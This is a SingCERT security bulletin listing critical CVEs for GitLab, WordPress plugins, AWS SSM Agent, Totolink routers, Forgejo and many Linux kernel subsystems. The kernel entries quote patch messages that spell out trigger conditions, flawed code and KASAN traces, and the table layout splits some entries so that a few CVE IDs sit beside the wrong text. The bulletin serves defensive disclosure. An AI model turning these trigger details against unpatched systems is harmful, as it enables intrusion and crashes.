SingCERT
Singapore Cyber Emergency Response Team

Security Bulletin 16 September 2026

Generated on 16 September 2026

SingCERT's Security Bulletin summarises the list of vulnerabilities collated from the National Institute of Standards and Technology (NIST)'s National Vulnerability Database (NVD) in the past week.

The vulnerabilities are tabled based on severity, in accordance to their CVSSv3 base scores:

Critical	vulnerabilities with a base score of 9.0 to 10.0
High	vulnerabilities with a base score of 7.0 to 8.9
Medium	vulnerabilities with a base score of 4.0 to 6.9
Low	vulnerabilities with a base score of 0.1 to 3.9
None	vulnerabilities with a base score of 0.0

For those vulnerabilities without assigned CVSS scores, please visit NVD for the updated CVSS vulnerability entries.

CRITICAL VULNERABILITIES

CVE Number	Description	Base Score	Reference
CVE-2026-85706	GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing authentication enforcement in the repository commits API.	10.0	More Details
CVE-2026-14560	The teddy-bear-customize-addon WordPress plugin through 1.0.5 does not properly validate uploaded files, relying on a client-supplied content type and preserving the original filename, allowing unauthenticated attackers to upload arbitrary PHP files and execute code on the server.	10.0	More Details
CVE-2026-77770	The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 on the site.	10.0	More Details
CVE-2026-80462	A vulnerability in the Chef Automate API gateway and identity validation path may allow an unauthenticated actor to gain elevated access to protected Chef Automate functionality under specific conditions.	10.0	More Details
CVE-2026-81648	The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.	10.0	More Details
CVE-2026-87719	GitLab has remediated an issue in GitLab EE affecting all versions from 18.3 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that under certain conditions could allow an authenticated user with Duo Chat access to obtain Advanced Search instance configurations and sensitive credentials using a specially crafted GraphQL subscription argument to bypass serialization and perform server object lookup.	9.9	More Details
CVE-2026-89049	A server-side request forgery issue due to improper validation of equivalent address representations in the port forwarding to remote hosts functionality in Amazon AWS Systems Manager Agent (SSM Agent) before 3.3.4851.0 on all platforms might allow an authenticated remote user to bypass the remote destination denylist and reach link-local endpoints, potentially obtaining the temporary IAM role credentials of a managed instance and acting with that role's permissions from outside the instance, via a crafted destination host value that uses an alternate representation of a denied link-local address. To	9.9	More Details

	remediate this issue, users should upgrade to version 3.3.4851.0 or later.		
CVE-2026-82845	The Masteriyo LMS WordPress plugin before 3.4.1 does not prevent user-supplied values held as metadata from being deserialized when they are read back, allowing users with a minimal account to inject arbitrary PHP objects and, by way of a class shipped in a library bundled with the Masteriyo LMS WordPress plugin before 3.4.1, write and execute arbitrary code on the server. A weaker form of the same issue is reachable without an account and yields an arbitrary file write rather than code execution.	9.9	More Details
CVE-2026-90608	A flaw has been found in Totolink A3002MU Hh-B20211125.1046. The affected element is the function formPortFw of the file /boafrm/formPortFw of the component boa. This manipulation of the argument service_type causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used.	9.9	More Details
CVE-2026-89094	Forgejo before 16.0.4 allows remote code execution via a crafted template repository because template expansion on files in .forgejo/template is mishandled.	9.9	More Details
CVE-2026-19583	Velociraptor allows some sensitive artifacts to be gated by additional permissions. For example, the Linux.Sys.BashShell artifact allows arbitrary command execution on endpoints, and so it requires the EXECVE permission to schedule. However, no such check was implemented for client monitoring artifacts. Additionally there was no requirement that client monitoring artifacts carry the CLIENT_EVENTS type. This allows any user who can schedule client monitoring artifacts to also schedule otherwise restricted artifacts (such as Linux.Sys.BashShell).	9.9	More Details
CVE-2026-90605	A weakness has been identified in Totolink A3002MU Hh-B20211125.1046. This vulnerability affects the function formFilter of the file /boafrm/formFilter of the component boa. Executing a manipulation of the argument ip6addr can lead to buffer overflow. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks.	9.9	More Details
CVE-2026-90606	A security vulnerability has been detected in Totolink A3002MU Hh-B20211125.1046. This issue affects the function formIpv6Setup of the file /boafrm/formIpv6Setup of the component boa. The manipulation of the argument static_ipv6 leads to buffer overflow. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.	9.9	More Details
CVE-2026-90607	A vulnerability was detected in Totolink A3002MU Hh-B20211125.1046. Impacted is the function formNewSchedule of the file /boafrm/formNewSchedule of the component boa. The manipulation of the argument submit-url results in buffer overflow. The attack may be performed from remote. The exploit is now public and may be used.	9.9	More Details
CVE-2026-89495	In the Linux kernel, the following vulnerability has been resolved: ocfs2: bound namelen in dlm_migrate_request_handler Patch series "ocfs2/dlm: bound peer-controlled lengths in the o2dlm". The o2dlm receive handlers trust u8 length and count fields from the wire without bounding them, so a node in a DLM domain can corrupt or panic any other node with a malformed message. Three defects: - dlm_migrate_request_handler() passes migrate->namelen unchecked to dlm_init_mle(), which memcpy()s it into the 32-byte mname[] of an o2dlm_mle slab object: a heap out-of-bounds write of up to ~215 attacker-controlled bytes. - dlm_mig_lockres_handler() passes mres->lockname_len unchecked to dlm_init_lockres(), which memcpy()s it into the 32-byte o2dlm_lockname slab object: a heap out-of-bounds write of up to ~223 bytes. - the same handler trusts mres->num_locks without checking that the message is large enough to hold that many entries, so dlm_process_recovery_data() walks mres->ml[] past the kmalloc(data_len) copy and trips a BUG_ON (an out-of-bounds read ending in a panic). The other o2dlm receive handlers already reject an oversized name; the migration and recovery handlers have omitted it since the DLM was added (see the Fixes tags). Patch 1 bounds namelen; patch 2 validates lockname_len, num_locks, and the payload size. Conforming recovery and migration traffic is unaffected. o2net authenticates peers only by the DLM domain key, so any node that has joined the domain -- including a compromised or malicious member -- can send these messages. There is no local trigger; the attacker must already be a member of the cluster. Each sink was confirmed under KASAN with an out-of-tree module mirroring it exactly -- a kmem_cache/kmalloc of the real destination size, then the same unclamped memcpy/loop: slab-out-of-bounds Write for the two writes, Read for the recovery walk, and a panic. A userspace AddressSanitizer build faults identically under -m32 and -m64. Scrubbed logs are available on request. I reported this privately to security@kernel.org and the ocfs2 maintainers on 2026-06-20; with no response after the standard embargo period I am posting the fix publicly. I have no embargo requirement. This patch (of 2): A node receiving a DLM_MIGRATE_REQUEST message trusts the peer-supplied name length (migrate->namelen) without bounding it. dlm_init_mle() then copies that many bytes into the fixed DLM_LOCKID_NAME_MAX-byte mname[] array of an o2dlm_mle slab object, so a malformed message from a cluster peer overflows the slab object by up to ~215 bytes: a heap out-of-bounds write of attacker-controlled data, reachable by any node in the domain. Reject an oversized name, the way dlm_master_request_handler() and the other o2dlm receive handlers already do; the migration handler omits the check entirely. Conforming messages are unaffected.	9.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: xdp: fix zero-copy frame layout xdp_convert_zc_to_xdp_frame() clones an XSK packet into an order-0 page and advertises PAGE_SIZE as its frame size. It allows the copied frame to occupy the page tail needed by skb_shared_info and records		

CVE-2026-81002	zero headroom even when metadata separates the frame header from packet data. An AF_XDP zero-copy packet redirected through cpumap can therefore make the skb overlap skb_shared_info or place it beyond the allocated page. Limit the copied layout to SKB_WITH_OVERHEAD(PAGE_SIZE) and include the metadata length in frame headroom. Redirect callers already handle a NULL conversion result. BUG: KASAN: slab-out-of-bounds in skb_gro_receive Write of size 4 at addr ffff88800cf37004 by task cpumap/1/map:1/146 Call Trace: skb_gro_receive (net/core/gro.c:174) udp_gro_receive (net/ipv4/udp_offload.c:812) inet_gro_receive (net/ipv4/af_inet.c:1539) dev_gro_receive (net/core/gro.c:515) gro_receive_skb (net/core/gro.c:633) cpu_map_kthread_run (kernel/bpf/cpumap.c:395) kthread (kernel/kthread.c:436) ret_from_fork (arch/x86/kernel/process.c:164) ret_from_fork_asm (arch/x86/entry/entry_64.S:255) Kernel panic - not syncing: KASAN: panic_on_warn set ...	9.8	More Details
CVE-2026-89478	In the Linux kernel, the following vulnerability has been resolved: sctp: drop a chunk if its transport was removed sctp_rcv() resolves the transport once per packet and leaves it in chunk->transport. The lookup reference, or the one sctp_add_backlog() takes if the socket is owned by userspace, keeps it around until the chunk has been processed. An authenticated ASCONF DEL-IP can remove it in the meantime. sctp_assoc_rm_peer() takes the transport out of the association and calls sctp_transport_free(), which tags it dead and drops the reference the association held. There is a window on both paths: the packet can sit on the socket backlog, and on the direct path the lookup completes before bh_lock_sock(). The DATA chunk in that packet puts the removed transport back into asoc->peer.last_data_from. Once the packet is done that reference goes away and the transport is freed by RCU, so the next delayed SACK carries the pointer into the SACK chunk and sctp_outq_select_transport() reads the freed transport's state. Drop the chunk in sctp_inq_push(), next to the existing rcvr->dead check. Both paths reach it with the association's socket lock held. The peer retransmits it.	9.8	More Details
CVE-2026-89479	In the Linux kernel, the following vulnerability has been resolved: sctp: stop processing a packet once its association is deleted sctp_endpoint_bh_rcv() looks the association up only when chunk->asoc is NULL, and caches the result in chunk->asoc and chunk->transport without taking a reference. A packet that matches no association is handed to the endpoint, so a peer can bundle COOKIE ECHO, SHUTDOWN and SHUTDOWN ACK in one packet. The COOKIE ECHO creates the association, the SHUTDOWN chunk caches it, and with the outqueue empty the SHUTDOWN ACK reaches sctp_sf_do_9_2_final(), so the association and its transports are freed. The endpoint loop has no counterpart to the asoc->base.dead check in sctp_assoc_bh_rcv(). The next chunk writes to last_time_heard in the freed transport and is then passed to sctp_do_sm() with the freed association. The transport is freed through RCU, so this needs the packet to come off the socket backlog, where the loop runs in task context. The endpoint loop cannot do the same check: it holds no reference on the association, so reading asoc->base.dead would itself be a use-after-free. Mark the packet for discard in the command interpreter, just before it deletes the association. That is also before sctp_inq_free() releases the chunk on the association receive path. sctp_sf_do_5_2_4_dupcook() issues SCTP_CMD_DELETE_TCB for the temporary association, while the one the packet belongs to stays alive. A restarting peer can bundle DATA behind its COOKIE ECHO, so compare against chunk->asoc and leave that case alone.	9.8	More Details
CVE-2026-89482	In the Linux kernel, the following vulnerability has been resolved: nvme-tcp: do not accept C2HData based on blk_rq_payload_bytes() alone Commit 25e5cb780e62 ("nvme-tcp: fix possible crash in write_zeroes processing") established that blk_rq_payload_bytes() must not be read without first checking blk_rq_nr_phys_segments(), and recorded the result in nvme_tcp_setup_cmd_pdu() as req->data_len. The receive side was left as it was. The two differ for REQ_OP_WRITE_ZEROES, which has no physical segments but a non-zero blk_rq_bytes(), so setup leaves req->iter untouched while the receive gate lets a C2HData through and nvme_tcp_recv_data() copies into whatever the previous command on that tag left there. The driver-private area is zeroed only when the tag set is allocated. Reproduced with a test target that leaves a residual iterator on a tag and then sends a C2HData for a WRITE_ZEROES command on the same tag: BUG: KASAN: wild-memory-access in _copy_to_iter+0x642/0x1330 Write of size 512 at addr ffe728c2175dfa81 by task kworker/0:1H/103 CPU: 0 UID: 0 PID: 103 Comm: kworker/0:1H Not tainted 7.2.0-rc5-NVMETCP-gf5098b6bae76 #1 PREEMPT(lazy) Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Workqueue: nvme_tcp_wq nvme_tcp_io_work Call Trace: <TASK> dump_stack_lvl+0x53/0x70 kasan_report+0xce/0x100 ? _copy_to_iter+0x642/0x1330 kasan_check_range+0x105/0x1b0 __asan_memcpy+0x3c/0x60 _copy_to_iter+0x642/0x1330 ? __pfx_sock_has_perm+0x10/0x10 ? worker_thread+0x45b/0xd10 ? __pfx__copy_to_iter+0x10/0x10 ? _raw_spin_lock_bh+0x83/0xe0 ? __pfx__raw_spin_lock_bh+0x10/0x10 __skb_datagram_iter+0xf3/0x820 ? __pfx_simple_copy_to_iter+0x10/0x10 ? __asan_memcpy+0x3c/0x60 ? skb_copy_bits+0x58d/0x830 skb_copy_datagram_iter+0x37/0x120 nvme_tcp_recv_skb+0xa07/0x4320 ? __pfx_nvme_tcp_recv_skb+0x10/0x10 __tcp_read_sock+0x1ab/0x810 ? __pfx_nvme_tcp_recv_skb+0x10/0x10 ? __pfx_lock_sock_nested+0x10/0x10 ? __pfx___tcp_read_sock+0x10/0x10 nvme_tcp_try_recv+0x152/0x1e0 ? __pfx_nvme_tcp_try_recv+0x10/0x10 ? __pfx_mutex_unlock+0x10/0x10 nvme_tcp_io_work+0x1e4/0x6c0 ? __schedule+0x181a/0x49f0 ? __pfx_nvme_tcp_io_work+0x10/0x10 process_one_work+0x633/0x1030 Keep the blk_rq_payload_bytes() test and add req->data_len to it. The old test is what rejects a C2HData naming a tag that is no longer in flight, because blk_update_request() zeroes rq->__data_len on completion; req->data_len and req->curr_bio are driver-private and survive completion, so they cannot stand in for it. Setup initialises the iterator only when both req->curr_bio and	9.8	More Details

	req->data_len are set, so the gate now tests the same two.		
CVE-2026-89485	In the Linux kernel, the following vulnerability has been resolved: lockd: pin next file across nlm_inspect_file lock-drop nlm_traverse_files() pins the current file with f_count++ across a mutex_unlock for nlm_inspect_file(), but nothing pins the saved next pointer. A concurrent nlm_release_file() can kfree the next file during the unlock window, and the iterator dereferences freed memory on the next loop step. Pin both current and next before the lock-drop. Advance by swapping the pinned cursors at the end of each iteration so next is always held alive across the unlock. Always call nlm_file_release() after dropping the iteration pin, regardless of whether the file matched the predicate. Use nlm_file_inuse(), which does a live walk of the inode lock list, rather than the cached f_locks field, so skipped files that never ran nlm_inspect_file() are evaluated correctly. Because every file in a hash bucket is now pinned and released, files skipped by the is_failover_file predicate that have no locks, blocks, shares, or external references are deleted during traversal. The old code never evaluated skipped files for cleanup. The new behavior is intentional: such files are stale and should not persist in the table.	9.8	More Details
CVE-2026-89492	In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate directory-index entry counts when reading metadata ocfs2_validate_dx_leaf() and ocfs2_validate_dx_root() check the ECC and signature of an indexed-directory block before it reaches higher-level callers, but neither validator bounds the ocfs2_dx_entry_list counts against the capacity of the block that holds them. ocfs2_dx_dir_search() then walks for (i = 0; i < le16_to_cpu(entry_list->de_num_used); i++) dx_entry = &entry_list->de_entries[i]; over de_num_used entries with no bounds check. entry_list is either dx_leaf->dl_list (from ocfs2_read_dx_leaf) or, for an inline root, dx_root->dr_entries. A crafted on-disk image can set de_num_used (and de_count, which is the __counted_by_le() bound of de_entries) to 0xffff and make the walk read far past the end of the 4KB metadata block, giving a slab out-of-bounds read reachable from any path lookup, stat() or open() on an indexed directory once the image is mounted. Commit 775c17386a6f ("ocfs2: validate dx_root extent list fields during block read") already bounds dr_list for the non-inline dx_root, but left the inline dr_entries path and the dx_leaf dl_list unchecked. Add the same read-time validation for both entry lists: de_count must equal the capacity of the block (ocfs2_dx_entries_per_leaf()/per_root()) and de_num_used must not exceed de_count, rejecting corrupted metadata with -EFSCORRUPTED before ocfs2_dx_dir_search() can walk an out-of-range entry array. de_count is always written as exactly the block capacity when a leaf or inline root is formatted, so the equality check does not reject any valid image. Found by 0sec automated security-research tooling (https://0sec.ai).	9.8	More Details
CVE-2026-89494	In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate lengths in dlm_mig_lockres_handler A node receiving a DLM_MIG_LOCKRES message trusts several fields of the peer-supplied dlm_migratable_lockres without validation. num_locks and lockname_len are bounded only on the sending side, and the message is never checked to actually carry num_locks migratable_lock entries. As a result dlm_process_recovery_data() walks mres->ml[0..num_locks) past the kmalloc(data_len) copy of the message (an out-of-bounds read that ends in a BUG_ON panic), and dlm_init_lockres() copies lockname_len bytes into the fixed 32-byte o2dlm_lockname slab object (a heap out-of-bounds write). Both are reachable by any node in the domain. Validate these fields right after dlm_grab(), before anything uses them -- including the not-joined error path, which already prints mres->lockname with the unbounded lockname_len as a %.*s precision. Reject the message unless lockname_len <= DLM_LOCKID_NAME_MAX, num_locks <= DLM_MAX_MIGRATABLE_LOCKS (the bound the sender already asserts), and the payload is large enough to hold the claimed locks. Conforming recovery and migration messages are unaffected.	9.8	More Details
CVE-2026-89530	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Reject inline replies that overflow the pull-up buffer An RPC-over-RDMA client can request a reply, such as an NFS READ payload, without providing a Write list or a Reply chunk to carry it. When such a reply needs more scatter/gather entries than the device's Send Queue supports, svc_rdma_pull_up_needed() selects pull-up and svc_rdma_pull_up_reply_msg() linearizes the whole reply into sctxt->sc_xprt_buf. That buffer is only sc_max_req_size bytes, while the reply on this path is bounded only by the client's request, so svc_rdma_xb_linearize() copies past the end of the buffer and corrupts adjacent slab memory. The oversized length is then stored in sc_sges[0].length and posted, so the device also reads beyond the mapped region. The SGE-exhaustion branch is the only pull-up path that can exceed the buffer: the threshold branch pulls up only replies smaller than RPCRDMA_PULLUP_THRESH, and replies that fit the device's SGE budget are sent directly without linearization. Make svc_rdma_pull_up_needed() report -E2BIG when the reply it would pull up cannot fit sc_max_req_size, and fail the request with ERR_CHUNK as RFC 8166 Section 4.5.3 directs rather than dropping the connection. The helper no longer answers a simple yes/no question: it now reports pull-up, no pull-up, or -E2BIG for a reply too large to linearize. Rename svc_rdma_pull_up_needed() to svc_rdma_check_pull_up() so its name no longer implies a boolean predicate.	9.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Validate Read chunk positions before reconstruction The RPC/RDMA Read chunk position field is supplied by the remote client and stored verbatim in the parsed chunk list. xdr_count_read_segments() checks only 4-byte alignment; it never compares the position against the received inline body length. In the single-chunk path, svc_rdma_read_complete_one() splits the head and tail kvecs at ch_position. A position past the inline		

CVE-2026-89526	body underflows the tail length, exposing adjacent slab memory to the upper XDR decoder. In the multi-chunk path, svc_rdma_read_multiple_chunks() computes gap lengths between chunks as unsigned subtractions from ch_position. Overlapping Read chunks cause these subtractions to underflow. A final position past the inline body likewise underflows the trailing gap length. svc_rdma_copy_inline_range() then copies past the receive buffer into request pages that are returned to the client through the Reply channel. Bound inline-range copies in svc_rdma_copy_inline_range() against the decoded inline RPC body saved in rc_saved_arg. Reject a single Read chunk positioned beyond that body, and reject multi-chunk lists where accumulated read bytes exceed the next chunk's position. Apply the same position and overlap checks in the call-chunk interleaving path.	9.8	More Details
CVE-2026-89541	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: harden gss_unwrap_resp_priv length checks gss_unwrap_resp_priv() validates the RPCSEC_GSS opaque length with offset = (u8 *)(p) - (u8 *)head->iov_base; if (offset + opaque_len > rcv_buf->len) goto unwrap_failed; maj_stat = gss_unwrap(ctx->gc_gss_ctx, offset, offset + opaque_len, rcv_buf); Both operands are u32 and the sum is computed in u32. A reply with opaque_len near 0xffffffff makes offset + opaque_len wrap to a small value that is below rcv_buf->len, so the bound check passes and gss_unwrap() is called with end < begin. The check also lacks a lower bound, so any opaque_len in [0, GSS_KRB5_TOK_HDR_LEN) is accepted and forwarded to gss_krb5_unwrap_v2(), whose pre-decrypt header reads at ptr+4 and ptr+6 then run past the token. A krb5p NFS server returning a crafted RPCSEC_GSS reply can drive the client into out-of-bounds reads in gss_krb5_unwrap_v2() and the rotate_left() loop that follows. Fix by replacing the single combined check with three guards that are safe in u32 arithmetic and that enforce the RFC 4121 minimum outer token length: if (offset > rcv_buf->len) goto unwrap_failed; if (opaque_len > rcv_buf->len - offset) goto unwrap_failed; if (opaque_len < GSS_KRB5_TOK_HDR_LEN) goto unwrap_failed; The first guard makes the subtraction in the second guard unconditionally safe; offset is derived from a successful xdr_inline_decode() in the head kvec, so in practice it already satisfies the bound. The floor mirrors the server-side check added in commit 5b757c2e57a5 ("SUNRPC: svcauth_gss: enforce krb5 token minimum length").	9.8	More Details
CVE-2026-89533	In the Linux kernel, the following vulnerability has been resolved: svcrdma: Fix offset arithmetic in read_chunk_range svc_rdma_read_chunk_range() walks a Read chunk's segment list to build a sub-range starting at byte offset and spanning length bytes for a Position-Zero or Call chunk. Two arithmetic defects in the per-segment loop produce wrong DMA lengths and a u32 underflow: pcl_for_each_segment(segment, chunk) { if (offset > segment->rs_length) { offset -= segment->rs_length; continue; } dummy.rs_handle = segment->rs_handle; dummy.rs_length = min_t(u32, length, segment->rs_length) - offset; dummy.rs_offset = segment->rs_offset + offset; First, the skip predicate uses '>' instead of '>='. When offset equals the segment's full rs_length, the segment is fully consumed and should be skipped, but the loop falls through into the body. The resulting dummy.rs_length is min_t(u32, length, rs_length) - rs_length, which underflows to a near-UINT_MAX u32 when length is smaller than rs_length, or is zero otherwise. Second, the length formula subtracts offset from the min_t() result rather than from segment->rs_length before the cap. For offset > 0 the segment's residual is rs_length - offset, not rs_length, so the cap must be applied to the residual. With the current bracketing, whenever length is smaller than rs_length - offset the per-segment length becomes length - offset instead of length, silently dropping offset bytes from the rebuilt chunk. Combined with the boundary case above it also enables the u32 underflow path, which propagates a huge nr_bvec into svc_rdma_build_read_segment() and a multi-MiB kmalloc_array_node() in svc_rdma_get_rw_ctxt(). Additionally, svc_rdma_read_call_chunk() can invoke this function with length == 0 when the last Read chunk ends exactly at the end of the Call chunk. With the corrected >= predicate, every segment is skipped and the function returns the initial -EINVAL, rejecting a valid request. Return success immediately when length is zero. Also break out of the loop once length is fully consumed to avoid passing zero-length segments to svc_rdma_build_read_segment(). Fix by using '>=' so a fully-consumed segment is skipped, by moving '- offset' inside min_t() so the cap is applied to the segment's residual length, by returning success for zero-length requests, and by stopping iteration when the requested range has been consumed.	9.8	More Details
CVE-2026-89536	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: wait for in-flight client TLS handshake callback xs_tls_handshake_sync() gives xs_tls_handshake_done() a reference to the lower transport before submitting the handshake request. On timeout or signal, the synchronous waiter drops that reference after calling tls_handshake_cancel(). handshake_req_cancel() returns false when handshake_complete() has already marked the request complete. In that case the completion callback can still be running, so dropping the callback-owned reference in the waiter can free the lower transport before xs_tls_handshake_done() stores xprt_err or drops its own reference. If cancellation loses to completion, wait until xs_tls_handshake_done() signals handshake_done and let the callback release its reference. This mirrors the server-side handshake lifetime handling and keeps the timeout or signal return value unchanged.	9.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: net/smc: fix use-after-free of the LLC qentry in smc_llc_srv_add_link() smc_llc_srv_add_link() keeps add_llc pointing into the queue entry: add_llc = &qentry->msg.add_link; smc_llc.c:1482 ... smc_llc_save_add_link_info(link_new, add_llc); smc_llc.c:1494 smc_llc_flow_qentry_del(&lgr->llc_flow_lcl); smc_llc.c:1495 ... u8 *llc_msg = smc_link_shared_v2_rxbuf(link) ? (u8 *)lgr->wr_rx_buf_v2 : (u8 *)add_llc; smc_llc.c:1504 smc_llc_save_add_link_rkeys(link, link_new, llc_msg); smc_llc.c:1506 smc_llc_flow_qentry_del() kfree()s		

CVE-2026-80981	the entry, so on a link without a shared v2 receive buffer the pointer handed to smc_llc_save_add_link_rkeys() is already freed. Before the Fixes: commit that branch always used lgr->wr_rx_buf_v2 and add_llc was not used after the free. Reproduced on an unpatched tree over rxe, with KASAN, kasan_multi_shot and a link forced to max_recv_sge == 1: the entry is freed and read by the same call, and the freeing frame is smc_llc_srv_add_link() itself. [2.523161] BUG: KASAN: slab-use-after-free in smc_llc_save_add_link_rkeys+0x333/0x350 [2.523499] Read of size 2 at addr ffff8880052194de by task kworker/0:1/11 [2.523789] [2.523862] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Not tainted 7.2.0-rc5-p0-g2c9dd296545d #35 PREEMPT(lazy) [2.523865] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [2.523866] Workqueue: smc_hs_wq smc_listen_work [2.523869] Call Trace: [2.523870] <TASK> [2.523871] dump_stack_lvl+0x53/0x70 [2.523872] print_report+0xd0/0x630 [2.523874] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [2.523876] ? smc_llc_save_add_link_rkeys+0x333/0x350 [2.523878] kasan_report+0xce/0x100 [2.523879] ? smc_llc_save_add_link_rkeys+0x333/0x350 [2.523881] smc_llc_save_add_link_rkeys+0x333/0x350 [2.523883] ? smcr_buf_reg_lgr+0x2a4/0x660 [2.523885] smc_llc_srv_add_link+0xaa2/0x1e50 [2.523888] ? _printk+0xba/0xf0 [2.523897] ? __pfx_smc_llc_srv_add_link+0x10/0x10 [2.523899] ? down_write+0xb0/0x130 [2.523903] ? __pfx_down_write+0x10/0x10 [2.523905] smc_listen_work+0x489e/0x4d00 [2.523907] ? kmem_cache_free+0x1c6/0x3a0 [2.523911] ? __pfx_smc_listen_work+0x10/0x10 [2.523913] ? release_sock+0x148/0x1d0 [2.523915] ? smc_tcp_listen_work+0xb4f/0xfc0 [2.523917] ? _raw_spin_lock_irq+0x80/0xe0 [2.523918] ? __pfx__raw_spin_lock_irq+0x10/0x10 [2.523920] process_one_work+0x633/0x1030 [2.523922] ? assign_work+0x11d/0x370 [2.523924] worker_thread+0x45b/0xd10 [2.523926] ? __pfx_worker_thread+0x10/0x10 [2.523928] ? __pfx_worker_thread+0x10/0x10 [2.523929] kthread+0x2c6/0x3b0 [2.523931] ? recalc_sigpending+0x15c/0x1e0 [2.523934] ? __pfx_kthread+0x10/0x10 [2.523935] ret_from_fork+0x36e/0x5a0 [2.523937] ? __pfx_ret_from_fork+0x10/0x10 [2.523938] ? __switch_to+0x572/0xdd0 [2.523943] ? __pfx_kthread+0x10/0x10 [2.523944] ret_from_fork_asm+0x1a/0x30 [2.523947] </TASK> [2.523948] [2.531253] Allocated by task 48: [2.531399] kasan_save_stack+0x33/0x60 [2.531570] kasan_save_track+0x14/0x30 [2.531737] __kasan_kmalloc+0x8f/0xa0 [2.531905] __kmalloc_cache_noprof+0x158/0x370 [2.532100] smc_llc_enqueue+0x72/0x560 [2.532268] smc_wr_rx_tasklet_fn+0x474/0xa80 [2.532491] tasklet_action_common+0x20f/0x8a0 [2.532714] handle_softirqs+0x18e/0x590 [2.532886] do_softirq+0x3b/0x60 [2.533036] __local_bh_enable_ip+0x61/0x70 [2.533221] __alloc_skb+0x732/0x890 [2.533384] rxe_init_packet+0x16b/0x4f0 [2.533567] prepare_ack_packet+0xb8/0x830 [2.533760] rxe_receiver+0x495/0x96e0 [2.533933] do_work+0x144/0x470 [2 ---truncated---	9.8	More Details
CVE-2026-89538	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: Reject krb5 v2 wrap tokens with oversized ec field gss_krb5_unwrap_v2() sets buf->len to a logical length, which can be much smaller than head[0].iov_len (the allocated receive-page capacity). It then calls xdr_buf_trim() with a trim length derived from the 16-bit "extra count" (ec) field in the Kerberos v2 token header. The ec field is authenticated by the post-decrypt memcmp() against the encrypted header copy, so a randomly-mutated value is rejected. However, any peer holding a valid GSS context can legitimately encrypt a token whose ec exceeds the plaintext length. Per RFC 4121, such a token is structurally malformed. Although xdr_buf_trim() now clamps the buf->len subtraction to avoid unsigned underflow, the buffer is still left in a semantically invalid state (zero length, inconsistent iov lengths) when ec is oversized. Reject these tokens before calling xdr_buf_trim(), giving callers a well-defined GSS_S_DEFECTIVE_TOKEN error and keeping the xdr_buf internally consistent. The wrapped blob begins at a nonzero offset -- both callers pass len as offset + opaque_len -- so buf->len still counts the offset bytes that precede the blob. Compare the trim length against the remaining wrapped segment, buf->len - offset, rather than the whole buffer; comparing against buf->len alone leaves an offset-wide window in which an oversized ec passes the test and xdr_buf_trim() cuts into the bytes ahead of the blob.	9.8	More Details
CVE-2026-89542	In the Linux kernel, the following vulnerability has been resolved: SUNRPC: harden gss_krb5_unwrap_v2 against short tokens gss_krb5_unwrap_v2() reads the EC and RRC header fields at ptr+4 and ptr+6 before validating that the token is at least GSS_KRB5_TOK_HDR_LEN (16) bytes long, and its rotate_left() helper passes buf->len - base to xdr_buf_subsegment() without verifying that base <= buf->len. When a caller hands in a sub-16-byte token, or a token whose declared len leaves base past the end of the buffer, three distinct failures follow: gss_krb5_unwrap_v2(offset, len, buf) ptr = buf->head[0].iov_base + offset ec = *(ptr + 4) /* OOB read on short head */ rrc = *(ptr + 6) /* OOB read on short head */ rotate_left(offset + 16, buf, rrc) xdr_buf_subsegment(buf, &subbuf, base, buf->len - base) /* u32 wrap when base > len */ _rotate_left(&subbuf, shift) shift %= buf->len /* divide-by-zero when base == len */ After decryption, the cleanup arithmetic has the same shape: movelen = min_t(unsigned int, buf->head[0].iov_len, len); movelen -= offset + GSS_KRB5_TOK_HDR_LEN + headskip; BUG_ON(offset + GSS_KRB5_TOK_HDR_LEN + headskip + movelen > buf->head[0].iov_len); The BUG_ON re-adds the value just subtracted, so it reduces to min(A, B) > A and is permanently false; it cannot catch the unsigned underflow of movelen, which then drives a ~UINT_MAX-byte memmove(). Add four defense-in-depth guards inside the unwrap core so it is safe regardless of what its callers validate: - reject tokens with len - offset < GSS_KRB5_TOK_HDR_LEN before touching ptr+4/ptr+6; - bail from rotate_left() when buf->len <= base, covering both the underflow and zero-length cases; - return early from _rotate_left() when buf->len is zero, so the shift %= buf->len modulo cannot fault; - replace the dead BUG_ON with a	9.8	More Details

	live check that returns GSS_S_DEFECTIVE_TOKEN before the movelen subtraction.		
